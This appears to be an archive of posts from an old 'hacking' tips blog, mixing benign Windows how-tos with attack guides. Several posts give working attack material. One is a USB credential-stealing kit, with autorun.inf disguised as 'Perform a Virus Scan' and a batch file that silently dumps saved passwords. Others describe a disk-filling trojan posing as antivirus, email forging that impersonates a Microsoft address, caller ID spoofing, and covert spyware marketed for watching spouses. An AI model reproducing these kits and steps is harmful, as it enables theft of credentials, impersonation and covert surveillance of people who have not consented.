Just DRAG and DROP the PHOTO onto the current/new TAB (If you have IE 7). Alternatively you can also Drag and Drop the photo onto the Desktop. That’s it. This trick is working now!!

4. Now the photo gets displayed seperately on your browser.
5. You can Right-Click and select the Save As option to save the photo onto your PC.
The browser also displays the direct link to the photo. This link can be used to share the Orkut photos with your friends without the need to login to your Orkut account to access photos.
Please express your opinions through comments. Cheer Up..
Happy Orkut Hacking.

How to Completely Erase a Hard Disk Drive

2010-07-30T14:55:00.001-07:00

A new year has begun and perhaps you have decided to perform a system upgrade or get rid of your old computer system and purchase a new one. But before you sell or donate your old computer, it is very much necessary to completely erase your Hard Disk Drive. Yes, every one of us are aware of this fact and so, we delete the contents of the hard disk either by using the DELETE key on our keyboard or by Formatting the hard disk.

Deleting and Formatting – Just Not Secure Enough

But the fact is, the data will still be on the hard disk even after deleting it or formatting the hard disk. Using the delete key on your keyboard will only remove the shortcuts to the files making them invisible to users. Deleted files still reside on the hard drive and a quick Google search will show many options for system recovery software will allow anyone to reinstate that data.
Formatting the hard drive is a bit more secure way to erase the hard disk. Formatting a disk will not erase the data on the disk, only the address tables. It makes it much more difficult to recover the files. However a computer specialist would be able to recover most or all the data that was on the disk before the reformat. For those who accidentally reformat a hard disk, being able to recover most or all the data that was on the disk is a good thing. However, if you’re preparing a system for retirement to charity or any other organization, this obviously makes you more vulnerable to data theft.

Erasing the Hard Disk through DISK WIPING

So it is necessary for us to use a 100% secure way to erase the hard disk. The secure way of erasing the hard disk is called Disk Wiping. Disk wiping is a secure method of ensuring that data, including company and individually licensed software on your computer and storage devices is irrecoverably deleted before recycling or donating the equipment. Because previously stored data can be brought back with the right software and applications, the disk wiping process will actually overwrite your entire hard drive with data, several times. Once you format you’ll find it all but impossible to retrieve the data which was on the drive before the overwrite. The more times the disk is overwritten and formatted the more secure the disk wipe is.
There are a variety of disk wiping products available that you can purchase, or freely downloaded online to perform more secure disk wipes. One of my favorite disk wiping software is
WipeDrive/ WipeDrive Professional
You have to use this tool by burning the iso image file onto a CD or by using a floppy disk. After burning this tool you have to boot your PC and follow the screen instructions to completely erase the hard disk.

How to Make a Trojan Horse

2010-07-30T14:54:00.000-07:00

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…
Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.

Now lets move to the working of our Trojan
The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Trojan is as follows
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll”
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.

How to compile, test and remove the damage?

Compilation:
For step-by-step compilation guide,
Testing:
To test the Trojan, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to remove the Damage and free up the space?
To remove the damage and free up the space, just type the following in the “run” dialog box.

%systemroot%\system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?

Please pass your comments and tell me your opinion. I am just waiting for your comments…

How to Recover Deleted Files from Windows and Mac

2010-07-29T18:29:00.000-07:00

How to Recover Deleted Files

Have you accidentally deleted your files from the Hard disk? Do you desperately want to recover them back? Well you need not panic! It is possible to recover the deleted files back from the hard disk (even after you have Shift+Deleted) provided you act as soon as you realize that the files are deleted and use the best deleted files recovery software. In this post you will find a detailed information on how to recover the deleted files from your Windows PC or Mac.
Today there exists hundreds of data recovery tools and softwares on the market which boast to recover 100% of all the deleted files back in the original condition. But in reality most of these softwares are neither effective nor capable of recovering your files back. So it is very much necessary to make the right choice of the file recovery software in order to recover deleted files back in the original condition. We recommend the following softwares to recover the deleted files

1. Stellar Phoenix Data Recovery (for Windows)
2. Stellar Phoenix Mac Data Recovery (for Mac)

Stellar Phoenix is one of the best company specializing in deleted files recovery services and solutions since 1993. Stellar’s Data Recovery Solutions encompasses a wide range of software for almost any data loss situation ranging from accidental formats to virus attacks to software malfunctions. Hence Stellar provides the best tools to recover deleted files with over 1,000,000 satisfied customers across 137 countries.

How the File Deletion Process Works?

When you delete a file from your computer (or even from the recycle bin) the file is not actually deleted. Unlike what most people think, the file is not permanantly deleted or dropped from your hard disk. Let’s take an example of a book containing 50 pages. Suppose when you delete the page 25, assume that only the entry in the index which points to the page 25 is deleted and not actually the page 25 itself. Likewise when you delete a file from your hard disk, only the pointer which points to this file is removed and not actually the file itself. This file still exists intact and is 100% possible to recover it back in the original condition. In this condition the file becomes invisible and hence appears to have deleted.

What are the Chances of Recovering my Files Back?

Since the operating system doesn’t immediately re-use the space from the deleted files, it is most certainly possible to recover the deleted files back in 100% original condition. It may take up a very long time for those files to be completely deleted since the modern hard disks have ample capacity. Hence the chances are too less that the space from the deleted files are re-used immediately. So, it is really worth to try out the file recovery softwares like Stellar Data Recovery for Windows or Stellar Data Recover for Mac. Some files are reported to have recovered even after years of it’s deletion. However for the best results, it is recommended that you use the file recovery software as immediately as possible to recover your files.

Recovering the Deleted Files

In order to recover the deleted files all you need to do is perform a scan (search) for the deleted files using a File Recovery Software. Please be informed that there is no manual way to recover the deleted files. The Phoenix Data Recovery software performs a thorough scanning of the hard disk sector by sector and will locate the existence of deleted files to restore them back in the original condition. It is the only software that supports 185 popular file types including Windows NT Registry, JPEG, MP4, GIF, BMP and MS Word files. The software offers rich graphical support and incorporates advanced scanning methods to completely scan and recover deleted files from your hard drive. With this you can

Recover FAT16, FAT32, VFAT, NTFS, and NTFS5 file system partitions
Recover deleted emails
Recover deleted documents
Recover deleted photos
Recover deleted music
Formatted Hard-Drive recovery
Recover files from USB Drives, CDs, DVDs and memory cards
Recover almost all the camera format files

How to Spoof Caller ID – Caller ID Spoofing

2010-07-29T18:28:00.000-07:00

Caller ID spoofing is the act of making the telephone network to display any desired (Fake) number on the recipient’s Caller ID display unit instead of the original number. The Caller ID spoofing can make a call appear to have come from any phone number that the caller wishes.
Have you ever wondered how to perform Caller ID spoofing? Read on to know more information on Caller ID spoofing and find out how it is performed.
Unlike what most people think, an incoming call may not be from the number that is displayed on the Caller ID display unit. Because of the high trust that the people have in the Caller ID system, it is possible for the caller to easily fool them and make them believe that the number displayed on the Caller ID display is real. This is all possible through Caller ID spoofing.

How to Spoof Caller ID?

You can easily spoof any Caller ID using services like SpoofCard. In order to use the spoofcard service, you need to pay in advance and obtain a PIN (Personal Identification Number) which grants access to make a call using the Caller ID spoofing service. Once you have purchased the service, you will be given access to login to your SpoofCard account. To begin with, you need to call the number given by SpoofCard and enter the PIN. Now you will be given access to enter the number you wish to call and the number you wish to appear as the Caller ID. Once you select the options and initiate the calling process, the call is bridged and the person on the other end receives your call. The receiver would normally assume that the call was coming from a different phone number ie: the spoofed number chosen by you - thus tricking the receiver into thinking that the call was coming from a different individual or organization than the caller’s. In this way it is just a cakewalk to spoof Caller ID and trick the receiver on the other end. Thus you neither need to be a computer expert nor have any technical knowledge to perform Caller ID spoofing. For more information on SpoofCard service visit the following link.

SpoofCard

How Caller ID Spoofing works?

Caller ID spoofing is done through various methods and using different technologies. The most commonly used technologies to spoof Caller ID is VOIP (Voice Over IP) and PRI (Primary Rate Interface) lines.
Today most VOIP systems provide an option for it’s users to enter whatever number they want in the calling party field and this number is sent out when they make a call. Hence it is easily possible for any user to spoof Caller ID provided they have a VOIP system and know how to properly configure it to spoof the Caller ID. However sites like SpoofCard provide an easy and cheap spoofing services for those who aren’t using VOIP systems that they can configure themselves.
Caller ID spoofing is possible and being performed right from the days Called ID system was introduced. However most people are unaware of the fact that it is possible to spoof Caller ID and make any number to be displayed on the receiver’s end. In the past, Caller ID spoofing service was mostly used by telemarketers, collection agencies, law-enforcement officials, and private investigators but today it is available to any Internet user who wish to perform Caller ID spoofing.

How to Sniff Passwords Using USB Drive

2010-07-29T18:27:00.001-07:00

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

Cell Phone Spy: How to Spy on Cell Phones

2010-07-29T18:26:00.000-07:00

Cell Phone Spy – Spy on Any Cell Phone

Need a Cell Phone Spy Software to spy on cheating spouse or monitor your teen’s text messages? Well, here is a way to turn Someone’s Mobile Phone into a Spyphone and record every activity with the world’s most powerful spy software. All this is possible within minutes from now!

Today there exists a lot of cell phone spy softwares on the market and as a result people often find it difficult to choose the right one to fit their needs. In order to help our readers to find the best spy software, we have decided to give a thorough review of the Top 2 Best Selling Cell Phone Spy softwares on the market.

1. Spy Phone GOLD – (Rating: 9/10)

2. Mobile Spy – (Rating: 8/10)

Spy Phone GOLD and Mobile Spy are the current leaders in the market which are used by thousands across the globe to spy on cheating spouse, monitor employees and keep an eye on their teens. Here is a complete review of these two products.

1. Spy Phone GOLD Review:

Spy Phone GOLD is is the No.1 spy software on the market which turns any compatible cell phone into a Spy Phone within minutes. It offers every feature that a true cell phone spy software should have. Hence most people choose Spy Phone GOLD for their cell phone spying needs.

How Cell Phone Spying Works?

After your purchase, you can directly download the installation module onto the target cell phone. Installation takes only a few minutes. After installation, each activity on the target phone is recorded and uploaded onto the Spy phone servers. You can login to your online account from your PC to view the logs at any time. The logs contain Text messages, Contacts List, Call History, GPS Locations and many such information.
Call interception: When the target cell phone is on the conversation, you will receive a secret SMS notification on your phone. At this time you can call the target phone to listen to the live conversations going on. All this process takes place in complete stealth mode and is 100% undetectable!

Spy Phone Top Features:

Call Interception – Listen to the actual calls LIVE on the target cell phone
Environment Listening - Make a spy call to the target cell phone running SPY PHONE and listen in to the phone’s surroundings.
SMS Logging – Records both incoming & outgoing SMS
SIM Change Notification – Get instant notification via SMS when the target cell phone changes it’s SIM
Remote Control – Send secret SMS to the target phone to control all functions
Spy from any location across the world
100% Undetectable

Compatible Cell Phones:
Spy Phone GOLD is fully compatible with the following mobile phones

Nokia, LG, Samsung and Sony Ericsson Phones
BlackBerry Phones
Apple iPhones
Windows Mobile Phones

SpyPhone is backed by 100% Money Back Guarantee. So you have nothing to lose and everything to gain. Go grab Spy Phone GOLD from the following link now!

2. Mobile Spy Review:

Although Mobile Spy is not as feature rich as Spy Phone GOLD, it offers a good bunch of features that every spy software should have. It is a very good choice for those who are looking for a mid-range spy software at an affordable price.

How it Works?
The working of Mobile Spy is exactly same as that of Spy Phone GOLD. However Mobile Spy lacks the feature of call interception.

Mobile Spy Features
Mobile Spy offers every common feature such as recording Call Logs, SMS, GPS Locations, IM Conversations, Web Activities, Emails etc. It is very similar to Spy Phone but lacks the vital features like call recording and call interception. Thus with Mobile Spy you cannot listen to live calls on the target cell phone.

Compatible Cell phones: Mobile Spy is compatible with Nokia, Samsung, LG, Apple iPhones, Blackberry, Android and Windows Mobile Phones.
You can download Mobile Spy from the following link

Here is a quick comparison between Spy Phone GOLD and Mobile Spy

Which Cell Phone Spy Software to Choose?

If you want a high-end spy software with top features like call interception and call recording then Spy Phone GOLD is the right choice. Or else if you’re looking for a mid-range spy software with basic features at an affordable price then go for Mobile Spy. Both these softwares are backed by 100% Money Back Guarantee so that you can try it Risk-Free! So what are you waiting for? Go grab either of the two !

Remote Spy Software – Remote Spy on any PC

2010-07-29T18:25:00.000-07:00

Are you looking for the Best Remote Spy Software? Do you need to spy on your remote computer without the need for physical access? But wait! Before you go for any remote spy software you should read our shocking reviews!

Well today there exists hundreds of spy software on the market and most of them are no more than a scam. Also most of these spy softwares do not support the remote monitoring feature at all. Hence as a result of these substandard products people often end up buying some crap spy software which fail to meet their needs. However there exists only a handful of Spy Softwares that support both remote installation and remote monitoring feature.

In order to help our readers to choose the best remote spy software, we decided to test and review some of the top remote spy software out there on the market. After a thorough review we conclude SniperSpy as the best Remote Spy Software. Here are the reasons for it to become our No.1 Rated Remote Spy Software.

Top features of Sniperspy which is not present in most of the other remote spy software

With Sniperspy you can remote watch your computer like a television! Watch what happens on the screen LIVE!
It is the only remote spy software with a secure control panel
You can remote install this software without the need for physical access
Sniperspy can bypass any firewall

Sniperspy is the most powerful Remote Spy Software of it’s kind. Perfect for monitoring your children, employees or any other user of your computer. You can also view chats, websites, keystrokes in any language and more, with screenshots. The software then records user activities and sends the data to your online account. You can access the LIVE control panel within your secure online account.

Whether it be a local or a remote computer, Sniperspy is the best spy software out there for monitoring. So what are you waiting for? Go grab Sniperspy now!

Click Here to Order SniperSpy Now!

How to Test the Working of your Antivirus – EICAR Test

2010-07-29T18:23:00.001-07:00

Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by European Institute of Computer Antivirus Research. This process can be used by people, companies and antivirus programmers to test the proper functioning of the antivirus/antimalware software without having to deal with the real computer virus which can cause damage to the computer. Here is a step-by-step procedure to test your antivirus.

1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.

EICAR Test code
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

2. Rename the file from New Text Document.TXT to myfile.com
3. Now run the antivirus scan on this myfile.com file.
If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise you may have to re-install your antivirus.

NOTE: Most antivirus will pop-out a warning message in the Step-1 itself

You can also place the myfile.com file in a ZIP or RAR file and run a scan on it so as to ensure whether your antivirus can detect the test string in the compressed archive. Any antivirus when scanning this file will respond exactly as it will do for a genuine virus/malicious code. This test will cause no damage to your computer even though the antivirus will flag it as a malicious script. Hence it is the safest method to test the proper functioning of any antivirus.

How to Download Videos from Youtube

2010-07-29T18:22:00.000-07:00

Here is the most easiest way to download videos from Youtube and convert it into other formats.Most of the sites give you some confusing way to download videos from Youtube, but here is an easy way. Here is step-by-step guide to download videos from Youtube.

STEP-1. DOWNLOADING THE VIDEO FROM YOUTUBE
Basically the video that you want to download from Youtube will be in the .flv format. So first, when you download videos from Youtube, it will be saved in .flv format.
Once you get the video URL, you can use any one of the following sites/plugins to download Youtube videos .

Download Youtube Videos - Download Youtube Videos is one of the most widely site to download videos from Youtube in the .flv format. Here you’ll see a box to enter the download URL. Just enter the URL here and click on download to save the video.
KissYouTube - KissYouTube offers an easiest way to download videos from Youtube. Just visit the site and you’ll find a box to enter the video URL. In this box enter the URL of the video you want to download and click on GO. Next you will see a Download Button. Click on the download button and save the Youtube video with the extension as .flv .
Download Helper - Download Helper is an excellent firefox plugin to download videos from Youtube.
My Video Downloader - MyVideo Downloader will Download and convert videos from many sites, not just YouTube.

STEP-2. CONVERTING THE YOUTUBE VIDEO FROM .FLV TO OTHER FORMATS
Once you download the video ,you can use any of the freely available/commercial video conversion softwares. But here in this tutorial I prefer SUPER Video Converter to convert the downloaded Youtube video. SUPER is a freeware and supports a variety of formats. The speciality of this video converter is that it supports almost all the formats. Once you convert the Youtube downloaded video to MPEG format you’ll be able to play it with Windows Media Player.

10 Tips to Enhance your PC Security

2010-07-29T18:21:00.002-07:00

Today almost everyone of us have a PC with an internet connection but how many of us think about it’s security? In fact most of the people are least bothered about their PC’s security. Especially if you have an internet connection safeguarding your PC against network threats is a must. If your PC is not secured then it might be vulnerable to various threats. The threat may be as simple as a virus which corrupts your data or as complex as an identity theft where there are chances of huge loss of money. Did you know that unsecured PCs can be hijacked in minutes ? If you are really concerned about PC security then here are the top 10 security enhancements for your PC.
1. Check Windows Update. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.
2. Install a good Antivirus software and update it regularly. An Antivirus without updates is of no use.
3. Install a personal firewall. Both SyGate (www.sygate.com) and ZoneAlarm (www.zonelabs.com) offer free versions.
4. Install a good Antispyware.(Antivirus with built-in antispyware is a go0d choice)
5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro#l. This will make it much harder for anyone to gain access to your accounts.
6. If you’re using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.
7. Be skeptical of things on the Internet. Don’t blindly assume that an email “From:” a particular person is actually from that person since it is possible to send a fake email.
8. Check for Versign SSL (Secure Sockets Layer) Certificate (Or logo) before you make any ecommerce transaction (Credit card transaction) with a website.
9. Never disable the Auto-Protect feature of your Antivirus. If your Antivirus doesn’t have Auto-Protect feature then manually scan the files before you execute them.
10. Never give out your passwords to anyone at any time even if the person claims to be from “support.”

How to Change the ICON of an EXE file

2010-07-29T18:21:00.000-07:00

Some times it becomes necessary to change the ICON of an executable (.exe) file so that the exe file get’s a new appearence. Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to the user. But in reality when the file is carried to a different computer, then it shows it’s original ICON itself. This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself. Now when this is done the exe file’s ICON is changed permanantly so that even if you take file to a different computer it show’s a new icon.
For this purpose I have found a nice tool which modifies the exe file and will embed the ICON of your choice into the file itself. ie: The tool changes the exe ICON permanantly.
I’ll give you a step-by-step instruction on how to use this tool to change the icon.
1. Goto www.shelllabs.com and download the trial version of Icon Changer and install it (Works on both XP and Vista).
2. Right-click on the exe file whose ICON is to be changed.
3. Now you will see the option Change Icon. Click on that option.
4. Now the Icon Changer program will open up.
5. Icon changer will search for all the ICONS on your system so that you can select any one of those.
6. Now select the ICON of your choice and click on SET.
7. Now a popup window will appear and ask you to select from either of these two options.

Change embeded icon.
Adjust Windows to display custom icon.

Select the first option (Change embeded icon).
8. You are done. The ICON get’s changed.

Chat without Yahoo Messenger or Gtalk

2010-07-29T18:20:00.002-07:00

One of my favorite program for private chat is Easy Chat Server

Easy to use, Simple installation that will have you up and running in minutes.
128-Bit Security Socket Layer(SSL) support. Support for server level certificate creation.
Instantly runs a complete chat server on your PCs – does not need to install any Web Server.
Supports full private messaging and One to One private chat.
Support of images, smileys, avatar icons.
Full chat and access logs are available within the chat server.
Have a built-in IP Filter, supports banning/unbanning IP address, securely.
Multiple styles available for the user to customize rooms.
Unlimited rooms and users, no any annual, per-user, or maintenance fees.
No spyware, adware or other unwanted extra programs.

Use Gmail Account to Send Emails from Multiple Addresses

2010-07-29T18:20:00.000-07:00

In this post I am going to show you how to use your Gmail account to send and receive emails from multiple addresses. Most of us own more than one email account say for example, one from Gmail, one from Yahoo and one from Hotmail. If you are tired of logging into multiple accounts to check your inbox or to send emails, I have a solution here.
Gmail has an option to integrate multiple email accounts (email addresses) into a single Gmail account. Once you integrate multiple email addresses into your Gmail account, you can use the same account to send emails from different addresses and receive emails for different addresses. Let’s take a simple example
Suppose you have three email addressess (email accounts)
1. gohacking@gmail.com
2. gohacking@yahoo.com
3. hacker@hotmail.com
You can integrate the emails gohacking@yahoo.com and hacker@hotmail.com to gohacking@gmail.com and operate all the three accounts from your single gmail account. Here is a step-by-step procedure to do this.
1. Login to your gmail account.
2. Click on Settings at the top right corner.
3. Under Settings, click on Accounts tab.
4. Now you’ll see the first option “Send mail as:“
5. Under this option, click on Add another email address you own
6. Now a small new window will pop-up asking you to enter the details of your new email address.
7. Here you can enter any name and any email address. The email address need not belong to gmail only. You can enter your yahoo, hotmail or any other valid email address.
8. A Verification email will be sent to the address that you specify. Once you verify that you own the email address, it will be integrated to your Gmail account.
Now when you compose a new email, you’ll see an option to select from multiple address to send the mail. Also you’ll receive the incoming mails for multiple addresses to a single mailbox. I hope this will benefit you.
Before you leave, I should also tell you one good advantage of this. According to Gmail privacy policy, they will not send the user’s IP address in the outgoing emails. That means when you send an email from your Gmail account , the receiver will not be able to find out your IP address. But you don’t have this advantage in Yahoo or other email providers.
Please share your opinions through comments. I hope this helps….

Fake Email Pranks

2010-07-28T08:51:00.000-07:00

Most of the email forging tutorials on internet will teach us how to send fake email connecting to SMTP server of the ISP or any other domain. But this is not possible since these hacks will no longer work today because SMTP of remote server will reject any attempts for unauthorised access. Also many of the websites offer you to send fake email from their sites where none of them work. So we have to run our own SMTP server on our computer to successfully send a fake email. SMTP server is a simple software program which can be installed on your computer in few seconds. SMTP server allows you to send fake email right from your desktop easily and effectively. Download QK SMTP server HERE. This is the SMTP server i am using in my tutorial. Once you download and install the server on your comp then you are all set to send fake email successfully.

PART A: CONFIGURING SMTP SERVER
Once you have installed the QK SMTP server on your comp you must perform the following configuration.
1. Click on “Settings” button on the main screen,the Settings window pops up
2. On Settings window click on “Basic Parameter” tab
3. Set binding IP to “127.0.0.1″
4. Set port to “25″

PART B: SENDING FAKE EMAIL (EMAIL FORGING)
1. Click on SMTP server icon on your desktop to start your SMTP server to run(The icon is shown on the notification area of the taskbar if it is running). If it is already running then this step can be ignored
2. Goto command prompt(Start-Accessories-Command prompt)
3. Type exactly as follows

C:\>telnet 127.0.0.1 25

Here 127.0.0.1 is the default IP of every computer.25 is the port number. SO you are connecting to the SMTP server running on your own computer. This step is very importand to send fake email.

NOTE: The IP 127.0.0.1 should not be substituted by any other IP.

Heres the snapshot of what you see after step 3. Click on it to enlarge

4. After typing the telnet command in the command prompt you get entry to the server which displays the following message. The response of a OK SMTP server is given below. Message within Green color is only explanation.
220 Welcome to QK SMTP Server 3
helo hacker (Type helo & any name followed by space)
250 Hello hacker (Server Welcomes You)
mail from:billg@microsoft.com (email ID can be anything of your choice. This is the ID from which fake email appears to have come from)
250 billg@microsoft.com Address Okay (Server gives a positive response)
rcpt to:admin@gmail.com (Type any valid recipient email address)
250 admin@gmail.com Address Okay (Server gives a positive response)
data (type this command to start input data)
354 Please start mail input
From:Gates <billg@microsoft.com>
To:admin@gmail.com
Date:Sat Jan 5,2008 9:45 PM
Subject:Test to send fake email
You can create as many headers followed by the “:” symbol.

NOTE: HEADERS SHOULD NOT CONTAIN A LINE GAP. IF SO IT IS CONSIDERED AS BODY OF THE EMAIL. Press enter twice so that there is a line gap between the header & body data

End the body of email by pressing [ENTER] .(dot) [ENTER]
250 Mail queued for delivery (Sever indicates that the email is ready for sending)
quit (Type this command to quit from server)
221 Closing connection. Good bye.
Connection to host lost
(You will get the above 2 lines of message after typing “quit” command)
(Your fake email is sent to the recipient)

*****END OF EMAIL FORGING*****

Here’s the screenshot for your convenience

How to Make Invisible Password Protected Folder

2010-07-28T08:49:00.000-07:00

Do you want to password protect your folder? Do you want to make it invisible so that it remains unnoticed by the normal users? Well here is a way to do that. In this post I will show you how to make a password protected folder in Windows without using any additional software. Here is is step by step procedure to create a password protected folder.

How to create a Password Protected Folder?

Step-1: Create a new folder (Right-click -> New -> Folder) and give it any name of your choice. For instance I name it as ABC.
Step-2: Now in this folder place all the important files, documents or any folders that you want to password protect.
Step-3: Now Right-click on this folder (ABC) and select the option Send To -> Compressed (zipped) Folder.
Step-4: Now a new compressed zipped folder gets created next this folder (ABC) with the same name.
Step-5: Double-click on this compressed zipped folder and you should see your original folder (ABC) here.
Step-6: Now goto the File menu and select the option Add a password.
ie: File -> Add a password
Now a small window will pop up and here you can set your desired password. Once the password is set, the folder will ask for the password every time it is opened. Thus you have now created the password protected folder.

How to make it Invisible?

Step-1: Now Right-click on this password protected folder and select Properties.
Step-2: At the bottom select the option Hidden and press OK. Now your folder gets invisible (hidden).
Step-3: In order to unhide this folder go to My Computer – >Tools -> Folder options. Switch to View tab, scroll down and under Hidden files and folders you’ll see the following two options

Do not show hidden files and folders
Show hidden files and folders

Now select the second option and press OK. Now the invisible folder becomes visible in it’s location. To access it you need the password. To make it invisible again repeat step -1 through step-3 and select the first option and click OK. Now the folder becomes invisible once again.
I hope you like this post. Pass your comments!! Cheers

How to Save Bookmarks in IE, Firefox, Chrome and Opera

2010-07-28T08:45:00.003-07:00

How would you like to save your bookmarks in IE, Firefox, Opera and Google Chrome so that you can restore them in case if you need to re-install your operating system or move them from one computer to another? This post will show you how to save and restore bookmarks in simple steps.
Bookmarking the favorite web pages can save a lot of time as it becomes almost impossible to remember a list of favorite websites and their URLs. However it can be really frustrating at times when you lose all those saved bookmarks in case if a computer crashes. Also if you are a person who uses more than one computer then it becomes hard to copy all those saved bookmarks one by one manually. So saving the bookmarks can become handy in such situations. Here is how to to do it.

Saving a Bookmark file in Internet Explorer

1. From the File menu, select the option Import and Export.
2. Select the option Export to a file and click on Next.
3. In the next screen select Favorites and click on Next.
4. In the next screen again click on Favorites and click on Next.
5. Now choose the destination where you want to save your bookmarks and click on Export.
6. In the next screen click on Finish.
Now you have successfully saved all your bookmarks in a .HTM file. You can use this file to later restore the bookmarks to either IE, Firefox or any other browser. To import the saved bookmarks from a file all you need to do is goto File menu, click on Import and Export, select the option Import from a file and proceed with the screen instructions.

Saving a Bookmark file in Firefox

1. From the Bookmarks menu on the top select the option Organize Bookmarks.
2. A window will pop-up. From the window click on Import and Backup at the top and select the option Export HTML.
3. Now choose the destination where you want to save the bookmark file and click on Save.
To restore this saved file, follow the step-1 and in step-2 select the option Import HTML instead of Export HTML and proceed.

Saving a Bookmark file in Google Chrome

1. From the Tools menu, select Bookmark Manager.
2. Click the Organize menu in the manager.
3. Select Export bookmarks.
4. Select the location where you want your exported file to be saved, then click Save.
To restore the bookmarks, follow step-1, step-2 and in step-3 select Import bookmarks instead of Export bookmarks and proceed.

Saving a Bookmark file in Opera

1. From the File menu, select the option Import and Export.
2. Scroll over to the pull-down menu on the right and choose Export Bookmarks as HTML.
3. On the next screen, choose the destination folder from the Save in menu text box at the top of the screen.
4. Just click the Save button and you’re done.

Disable Task Manager

2010-07-28T08:45:00.001-07:00

The following registry hack enables us to disable the Task Manager. Here is a step by step procedure to disable Windows task manager.
Step1: Goto start>run and type “regedit” in the run.
Step2: In the registry navigate to

HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Policies\System

Step 3: Make the changes according to the following data

Value Name: DisableTaskMgr
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = default, 1 = disable Task Manager)

Step 4: Then navigate to

